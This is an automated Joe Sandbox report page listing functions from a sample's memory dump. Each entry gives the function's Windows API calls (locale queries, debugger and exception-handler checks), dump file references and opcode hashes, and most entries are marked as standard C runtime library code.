Function 00A939E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A93A6F

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 1e0a7c274e0d7dd230c31c0ae979d93a40291c628cfaad90a6da4353a6c80c71
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: B7B13333B046959FDF158F68C891BEEBBF5EF59350F14816AE801AB241D235DE05CBA0

Function 00A87672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00A8767E
IsDebuggerPresent.KERNEL32 ref: 00A8774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A87763
UnhandledExceptionFilter.KERNEL32(?), ref: 00A8776D

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 24677ce0f0892107dc9cc6f260c1dc5a321c5a691308e7be073a5a95dce9db27
Instruction ID: 0a1440783c60f0c0a8139f381f93be8484b895f5e56b4921807be557f30621f8
Opcode Fuzzy Hash: 24677ce0f0892107dc9cc6f260c1dc5a321c5a691308e7be073a5a95dce9db27
Instruction Fuzzy Hash: 8531F775D052199BDF21EFA5D949BCDBBB8BF08300F1041EAE50DAB290EB709A85CF45

Function 00A9C1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A9C23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A9C288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A9C34E

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: ce20962a6ce3586d11a92afc38649ada985fdd1fcbc717074a7d11bf1dc80fda
Instruction ID: 013513fb1ee4c72a87da6e1b96b273f01fe6a3b4243031536160e2f08d4d9ee7
Opcode Fuzzy Hash: ce20962a6ce3586d11a92afc38649ada985fdd1fcbc717074a7d11bf1dc80fda
Instruction Fuzzy Hash: 2A617B71740A07AFEF289F28CD96BBAB7E8EF54320F108079E915CA185E734D991DB50

Function 00A8D7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00A8D8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00A8D8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00A8D8D2

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: abaa8783f52464ec0817c098c7e2dcbb3593566aa6c4bea8e1d6d48d4a209c52
Instruction ID: b378a846a99755098a0f5528d880e8af898e5b68b2b0c484739695533206665d
Opcode Fuzzy Hash: abaa8783f52464ec0817c098c7e2dcbb3593566aa6c4bea8e1d6d48d4a209c52
Instruction Fuzzy Hash: 5531C474901219ABCB21EF69DD8978DBBB4BF08310F5041EAE41CA7291EB709F85CF44

Function 00A8FC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 765e10d5e061cff2f918a65cb1c5cd3904955e9a7ecebf0c9c6e76887ee03bf5
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: 53F14E71E0121A9FDF14DFA9C880AADBBF1FF89314F158269E915AB391D730AD01CB90

Function 00AC8465 Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 00AC8790
/, xrefs: 00AC8518

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction ID: 3d42e380fc3d3233048791d169c6bfdd6f19a973c3466a9779cc8844614752b1
Opcode Fuzzy Hash: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction Fuzzy Hash: 330282B19042688FDF25CF64C880BAE7BB5BF45304F1640EED949AB245DB388E84CF95

Function 00AC54FD Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

x`C, xrefs: 00AC558C
``C, xrefs: 00AC5573

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ``C$x`C
API String ID: 0-4276601940
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 9e4416baa0d04483ebfb88729dda9e9853f18acb06c2abc0ea6c2841a3faf3b8
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 0F51C473D005159BEB18CF68C581BE973B2EF94304F6A84BDD84AEF285EB706945CB50

Function 00A9547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00A95477,?,?,00000008,?,?,00AA1335,00000000), ref: 00A956A9

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4cb6b3e665c6c820745e2c48d1a087824a9f68510c36316f582292c2319c0c50
Instruction ID: f34c47cd55682fc93de42aa2f8f8b3e05c9861fe03de6fa1f98f834379c82fae
Opcode Fuzzy Hash: 4cb6b3e665c6c820745e2c48d1a087824a9f68510c36316f582292c2319c0c50
Instruction Fuzzy Hash: B9B14E35A10A04CFDB16CF28C486B657BE1FF45364F298658E99ACF2A1C335E992CF40

Function 00A86FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00A87002

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dee7281761ca9c49188b99ba3d4e4a6218a9190fdc6382b5724ac47cfa91b26e
Instruction ID: 64d24bcae06f49f275699b8b2cb625d94f60123efc07127a204d2be61fddb94f
Opcode Fuzzy Hash: dee7281761ca9c49188b99ba3d4e4a6218a9190fdc6382b5724ac47cfa91b26e
Instruction Fuzzy Hash: 12A14071A15606CFEB18CFA4D8827ADBBF1FB49324F24852AD419EB390D7399941CB50

Function 00A9980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a9fb2b451a66d2afd9f629ec4fdd436f08f28aa7fa5ece21160aab13cb78e5
Instruction ID: 1616bbd769702af385ed7d0df7128d6a235f8dc88c2c53ca70a170fccc60921e
Opcode Fuzzy Hash: b9a9fb2b451a66d2afd9f629ec4fdd436f08f28aa7fa5ece21160aab13cb78e5
Instruction Fuzzy Hash: 8E319472A00219BFDF20EFADDC899ABB7BDEB85314F14815DF91597244EA30AE408B50

Function 00A8C842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00A8C9D0

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 5e365b6b59cf786a3f421ebbc909a3ebbbeea9bf40f9a973ab7d55f0892b9f6d
Instruction ID: 340e63e3ffe8aa49b4bec3557039d1470721fb16a1160d4fa9a5404c86f72972
Opcode Fuzzy Hash: 5e365b6b59cf786a3f421ebbc909a3ebbbeea9bf40f9a973ab7d55f0892b9f6d
Instruction Fuzzy Hash: 59C1C170900A0A8FCB28EF68C585A7EBBB2BF05330F144659D4969B392C734AD45CFB1

Function 00A9C43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A9C491

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b6bc1771bae09ad2a298fe9d57f638069563bdfe801d3a21f229a86b9376ef7b
Instruction ID: 41a2315194521aa1be18d5355d1826dc94892397152e61b58da73dc732989089
Opcode Fuzzy Hash: b6bc1771bae09ad2a298fe9d57f638069563bdfe801d3a21f229a86b9376ef7b
Instruction Fuzzy Hash: 4C21D032701616ABDF289B68CD66EBB73E8EF84324B10007EF906D6181EB35ED519B50

Function 00A9C0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

EnumSystemLocalesW.KERNEL32(00A9C1EA,00000001,00000000,?,-00000050,?,00A9C81B,00000000,?,?,?,00000055,?), ref: 00A9C136

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0da298eac2b996488abeb1be6a7d861d7bf2104005f96a186e99d92bcb9c20d7
Instruction ID: 9fa4e2e147c1a698060789bad24566e81791c29e1529847138146a5c94904e6d
Opcode Fuzzy Hash: 0da298eac2b996488abeb1be6a7d861d7bf2104005f96a186e99d92bcb9c20d7
Instruction Fuzzy Hash: 7811C23A300B059FDF189F3988A16BABBE2FF84368B15452DE94787A41D771A943DB40

Function 00A9C66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00A9C406,00000000,00000000,?), ref: 00A9C698

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0ef50cbc46f2ecb01c722f5cd49bf06476531b3d06186118ae8575ea8aa739aa
Instruction ID: 6792ad205a6b3970416fda0d9a58a90dc4871a75b82288223c3cd6a6805437cd
Opcode Fuzzy Hash: 0ef50cbc46f2ecb01c722f5cd49bf06476531b3d06186118ae8575ea8aa739aa
Instruction Fuzzy Hash: BEF0A433740512BBDF285B64CD05BBA7BE8EB40764F151429EE06A3180EA74FE41CAA0

Function 00A9C15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

EnumSystemLocalesW.KERNEL32(00A9C43D,00000001,?,?,-00000050,?,00A9C7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00A9C1A9

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 836035f3c653526e325a472340f0e201ffd9b3f6d4bcc9160d8b079454ea15d4
Instruction ID: a04be9228db7ca44464d615f3970b5865dfcddc07dbbbd99d9db4aeafd648436
Opcode Fuzzy Hash: 836035f3c653526e325a472340f0e201ffd9b3f6d4bcc9160d8b079454ea15d4
Instruction Fuzzy Hash: 23F0C2363007046FDF145F799C81A7A7BD1EF85368F15452DF9094B682D671AC02DB54

Function 00A95ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A8DB11: EnterCriticalSection.KERNEL32(?,?,00A948D9,?,00AAB2A0,00000008,00A94A9D,?,00A8C196,?), ref: 00A8DB20

EnumSystemLocalesW.KERNEL32(00A95AC2,00000001,00AAB360,0000000C,00A95E75,00000000), ref: 00A95B07

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: da71c93a0544f1fb89354a9da5552f7f58b4ba4aea243e99b6169dda03a294d1
Instruction ID: 1e553e8f8c2d6c6f0e86e5f8efe199528c06a944c64edf2aed79ac1baf101b92
Opcode Fuzzy Hash: da71c93a0544f1fb89354a9da5552f7f58b4ba4aea243e99b6169dda03a294d1
Instruction Fuzzy Hash: 0BF04972B10204EFDB01EFA8E986B9D7BF0FB45724F10462AF8109B2E0DB758901CB50

Function 00A9C079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A94C01: GetLastError.KERNEL32(?,00000008,00A991D2), ref: 00A94C05
Part of subcall function 00A94C01: SetLastError.KERNEL32(00000000,00AAB440,00000024,00A90169), ref: 00A94CA7

EnumSystemLocalesW.KERNEL32(00A9BFD2,00000001,?,?,?,00A9C83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00A9C0B0

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3cb62f43739f340baf3c5a9c26640c1c1a07e4b73fcd7b81979469343221f788
Instruction ID: f2bd1ee065d8470a4bd7a43480dc6283229d6ae291954fdabcf1843bc173aa72
Opcode Fuzzy Hash: 3cb62f43739f340baf3c5a9c26640c1c1a07e4b73fcd7b81979469343221f788
Instruction Fuzzy Hash: 4DF0A03630020597CF049B79D955A6ABFD4EBC2724B064058EA058B691C6729942C7A0

Function 00A95F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00A92100,?,20001004,00000000,00000002,?,?,00A91700), ref: 00A95FAD

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

